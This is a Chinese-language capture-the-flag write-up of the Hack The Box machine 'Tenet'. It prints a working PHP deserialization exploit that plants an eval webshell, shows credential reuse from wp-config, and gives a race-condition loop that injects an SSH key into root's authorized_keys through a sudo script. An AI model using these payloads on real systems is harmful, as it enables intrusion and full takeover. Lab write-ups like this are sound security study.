IP:10.10.10.223
信息搜集
nmap
nmap只扫到了22和80端口,80端口还是apache默认界面
所以要进行深入的目录扫描
发现上面运行了wordpress
第一反应进行wpscan
没什么发现的已知直接能提权的漏洞,所以暂时收集到这一步,还没有什么具体思路。所以还是去网站上面看看有什么信息,网站上写着要做一个时间管理软件“Rotas”,还要迁移网站之类的信息
迁移网站下面的评论令人关注
但是试图访问
sator.php
,并不能成功访问,思路彻底卡死
Get USER
经过一些脑洞和HTB刷题经验...在hosts中添加10.10.10.223 sator.tenet.htb
成功找到了sator.php
并且下载到了备份文件
sator.php.bak
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
很容易发现反序列化的内容是可以操纵的,于是想到利用析构函数写一个webshell进去,具体利用脚本如下:
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$app = new DatabaseExport;
$app -> user_file = 'ev3r.php';
$app -> data = '<?php eval($_POST[a]);?>';
echo serialize($app);
?>
上传webshell
利用蚁剑连接成功
但是发现是www-data用户,不能直接读user.txt
翻了一下wordpress的配置,从wp-config里面读到了后台登录密码
利用该密码ssh连接,成功get user
Get Root
在neil账户下利用sudo -l
尝试发现一下可利用的高权限脚本
发现
enableSSH.sh
这个脚本查看后发现它做了一个把ssh公钥写入root下的.ssh目录
在这个写入过程中,存在一个小问题,写入过程如下:
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
这个脚本会先把公钥写入临时文件,做一个检查,再把把临时文件中的内容写进root目录
这样就会存在一个条件竞争的问题,neil用户可以在把公钥写入临时文件->临时文件写入root目录这个过程中,任意修改临时文件中的内容,以达到把自己想要的内容写入/root/.ssh/authorized_keys
的目的
exploit
构造自己的ssh公钥,在一个shell中执行命令
while true; do echo "自己的公钥" | tee "/tmp/ssh-*"; done
再开启一个shell执行
sudo /usr/local/bin/enableSSH.sh
会有失败的可能性,需要多来几次
最后通过ssh连接root用户